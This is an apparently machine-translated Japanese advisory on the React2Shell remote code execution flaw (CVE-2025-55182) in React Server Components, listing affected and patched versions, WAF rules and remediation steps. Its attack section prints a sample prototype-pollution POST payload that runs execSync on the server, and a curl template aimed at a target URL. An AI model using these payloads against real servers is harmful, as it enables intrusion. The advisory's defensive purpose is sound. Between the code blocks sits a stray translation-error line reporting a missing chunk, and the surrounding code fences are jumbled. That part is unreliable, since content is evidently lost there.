
"巧妙に細工された1つのHTTPリクエストで、サーバー全体が侵害される可能性があります。" — React Security Team, 2025年12月
深刻度: CRITICAL | CVSS v3.1: 10.0 (最大) | ステータス: 活発に悪用中
React2Shell は、React Server Components (RSC) — React が Web アプリの一部をブラウザではなくサーバー上で実行できるようにする最新機能 — における重大なセキュリティ脆弱性です。
この欠陥により、インターネット上のあらゆる攻撃者は — ログイン不要、特別なアクセス権なし、システムに関する事前知識も一切不要で — 単一の悪意ある HTTP リクエストをサーバーに送信し、任意のコードをサーバー上で実行できます。つまり、データの窃取、マルウェアのインストール、ランサムウェアによるファイルのロック、サーバー全体の乗っ取りが可能になります。
例えるなら、サーバーには信頼できる訪問者にだけ開くはずのドアがあるのに、特定の方法でノックするだけで誰でも入れてしまう、という状況です。
| プロパティ | 値 |
|---|---|
| CVE ID | CVE-2025-55182 (React2Shell とも呼ばれる) |
| 深刻度 | Critical — リモートコード実行 (RCE) |
| CVSS v3.1 スコア | 10.0 / 10.0 (最大値) |
| CVSS v4 スコア | 9.3 / 10.0 |
| 脆弱性タイプ | CWE-502 — 信頼できないデータのデシリアライゼーション |
| 攻撃手法 | 単一の HTTP POST リクエスト、認証は不要 |
| 発見者 | Lachlan Davidson (セキュリティ研究者) |
| 開示日 | 2025年12月3日 |
| エクスプロイト状況 | 公開エクスプロイトが利用可能 — 攻撃者によって活発に使用中 |
| 関連 CVE | CVE-2025-66478 (Next.js — 重複として確認済み) |
react-server-dom-webpack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-parcel — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-turbopack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0
### 影響を受けるフレームワーク
| Framework / Tool | Affected Scope |
|----------------------------|----------------------------------------------------|
| **Next.js 15.x – 16.x** | App Router のみ — Pages Router は **影響を受けません** |
| **React Router RSC** | 不安定版 / プレビューチャンネルのみ |
| **Redwood SDK** | RSC モードのみ |
| **Waku** | RSC が有効なすべてのバージョン |
| **Expo** | RSC プレビュービルドのみ |
| **Vite RSC Plugin** | すべてのインテグレーション |
| **Parcel RSC Plugin** | すべてのインテグレーション |
| **任意のカスタム RSC セットアップ** | RSC Flight 逆シリアル化を使用する任意のサーバー |
> ⚠️ **重要:** Server Actions や Server Functions を明示的に使用していなくても、アプリで React Server Components が有効になっている限り、脆弱です。
> ✅ **影響を受けません:** Pages Router のみを使用するアプリ、またはサーバーサイド React を一切使用しないアプリ。
---
## なぜこれほど危険なのか?
React2Shell が非常に深刻な理由は3つあります:
1. **認証は不要。** インターネット上の誰でもこの攻撃を試みることができます。アカウント、トークン、事前のアクセス権は一切必要ありません。
2. **デフォルトインストールで機能します。** `create-next-app` で作成したばかりの Next.js アプリ — カスタム設定ゼロ — は、すぐに悪用可能です。開発者は何も間違ったことをする必要はありません。
3. **ほぼ100%の信頼性。** セキュリティ研究者は、このエクスプロイトが未パッチのサーバーに対してほぼ毎回機能することを確認しています。
---
## 攻撃はどのように機能するのか?
### 根本原因 — 平易に説明すると
React サーバーがクライアントからデータを受け取ると、そのデータを処理(逆シリアル化)して、次に何をすべきかを判断します。問題は、React がそのデータが安全かどうか、または正当かどうかを**一切チェックしない**ことです — 到着したものを盲目的に信頼します。
攻撃者は、サーバー上の内部 JavaScript の動作を乗っ取る特別に細工されたデータを送信することでこれを悪用し、最終的に任意のコードを注入・実行できるようにします。
### 技術的な説明
このエクスプロイトは **プロトタイプ汚染** と呼ばれる技法を使用します:
1. 攻撃者は、任意の RSC エンドポイントに細工された HTTP POST リクエストを送信します(特別な URL は不要です)。
2. React Flight Protocol パーサーは、構造的な検証を行わずにペイロードを処理します。
3. 悪意のあるペイロードは `Object.prototype.then` を汚染します — これは他のすべてのオブジェクトが継承する基本的な JavaScript オブジェクトです。
4. これにより、攻撃者は JavaScript の `Function` コンストラクタにアクセスできます。
5. 攻撃者は `Function` コンストラクタを使用して、Node.js サーバープロセスとして任意のコードを実行します。```
Step 1 — Attacker sends crafted HTTP POST
↓
Step 2 — React deserializes payload blindly
↓
Step 3 — Object.prototype.then is hijacked (prototype pollution)
↓
Step 4 — Function constructor is accessed
↓
Step 5 — Attacker's code runs on the server
↓
Step 6 — Attacker has full server control
// This is a simplified version of the vulnerable code path inside React function parseFlightRequest(req) { const flight = req.body;
// ❌ NO validation — the server trusts whatever arrives
const decoded = dangerousDeserialize(flight); // Attack happens here
// If the attacker controls decoded.action → RCE
return executeServerReference(decoded.action);
}
### 攻撃の様子```http
POST /?flight=1 HTTP/1.1
Content-Type: text/plain
{
"status": "resolved_model",
"$1:__proto__:then": "node:process.mainModule.require('child_process').execSync('id > /tmp/rce')",
"_formData.get": "$1:constructor:constructor"
}
Input content for chunk 9 is missing — no text was provided after "INPUT:". Please re-send the chunk content so it can be translated into Japanese.```bash
curl -X POST https://target.com/react?flight=1
-H "Content-Type: text/plain"
--data '["$ACTION_REF","proto","constructor","<attacker_payload>"]'
> 🚫 **法的警告:** 所有していないシステム、または明示的な書面によるテスト許可を得ていないシステムに対しては、これを使用しないでください。
---
## 修正済みバージョン — 今すぐパッチを適用
### React RSC パッケージ
| パッケージ | パッチ適用済みバージョン |
|------------------------------|------------------------------|
| `react-server-dom-webpack` | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-parcel` | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-turbopack` | 19.0.1, 19.1.2, **19.2.1+** |
> 💡 **推奨事項:** 関連する二次的な脆弱性 (CVE-2025-55183、CVE-2025-55184、CVE-2025-67779) も修正するには、**19.2.3** にアップグレードしてください。
### Next.js
| お使いのバージョン | アップグレード先 |
|--------------|-------------|
| 13.x / 14.x | **14.2.35** |
| 15.0.x | **15.0.5** |
| 15.1.x | **15.1.9** |
| 15.2.x | **15.2.6** |
| 15.3.x | **15.3.6** |
| 15.4.x | **15.4.8** |
| 15.5.x | **15.5.7** |
| 16.0.x | **16.0.7** |
---
## 自分を守る方法 — ステップバイステップ
以下の手順を**順番どおりに**実行してください。ステップ 1 と 2 は必須です。残りは防御の追加レイヤーとなります。
### ステップ 1 — React パッケージのアップグレード (最も重要)```bash
# Check your current version
npm list react-server-dom-webpack
# Upgrade to the latest patched version
npm install react-server-dom-webpack@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-turbopack@latest
npm install next@X
### Step 3 — WAF 保護を追加 (多層防御)
| Cloud Provider | 必要なアクション |
|----------------------|-------------------------------------------------------------------------------------------|
| **AWS WAF** | `AWSManagedRulesKnownBadInputsRuleSet` v1.24+ を有効化 — React2Shell ルールが含まれます |
| **AWS Network Firewall** | Active Threat Defense マネージドルールを有効化 (MadPot 経由で自動更新) |
| **Google Cloud Armor** | コンソールから React2Shell ルールセットをデプロイ |
| **Cloudflare** | WAF ルール `react2shell-cve-2025-55182` — Pro+ プランでは自動適用 |
> ⚠️ **WAF ルールだけでは不十分です。** すべてのペイロードの亜種をブロックできるわけではありません。パッケージへのパッチ適用だけが完全な修正方法です。
### Step 4 — すぐにパッチを適用できない場合
- サーバー上の **RSC Flight エンドポイント**を一時的に**無効化**します。
- これにより、パッチを適用できるまでの間、攻撃対象領域を減らせます。
### Step 5 — すでに攻撃されたか確認する
- パッチ適用日より前に RSC/flight エンドポイントへ送信された不審な POST リクエストがないか、**サーバーログを監査**します。
- 不審なアウトバウンド接続、新しいユーザーアカウント、想定外のプロセスを探します。
### Step 6 — 侵害を前提とした対策
- **すべてのシークレットをローテーション** — API キー、データベース認証情報、セッショントークン、環境変数。
- 脆弱なバージョンを実行していたサーバーはすべて、侵害されている可能性があるものとして扱います。
---
## 実世界の攻撃活動
### 規模 (2026年4月時点)
| 指標 | 数値 |
|--------------------------|-------------------------------------|
| 総攻撃セッション数 | **810万以上** (GreyNoise) |
| 1日あたりの攻撃量 | **30万〜40万** リクエスト/日 |
| ピーク時の1日あたりの量 | **43万以上** (2025年12月下旬) |
| 攻撃元のユニーク IP | **8,163** (101か国にわたり) |
| 初回感染までの時間 | サーバー公開後 **2分** |
AWS だけで、観測された攻撃者インフラの3分の1以上を占めています。つまり攻撃者は、これらの攻撃を大規模に実施するために、主にクラウドホスト型サーバーから活動しているということです。
### 誰が攻撃しているのか?
この脆弱性を悪用していることが確認された、複数の異なる脅威アクターグループ: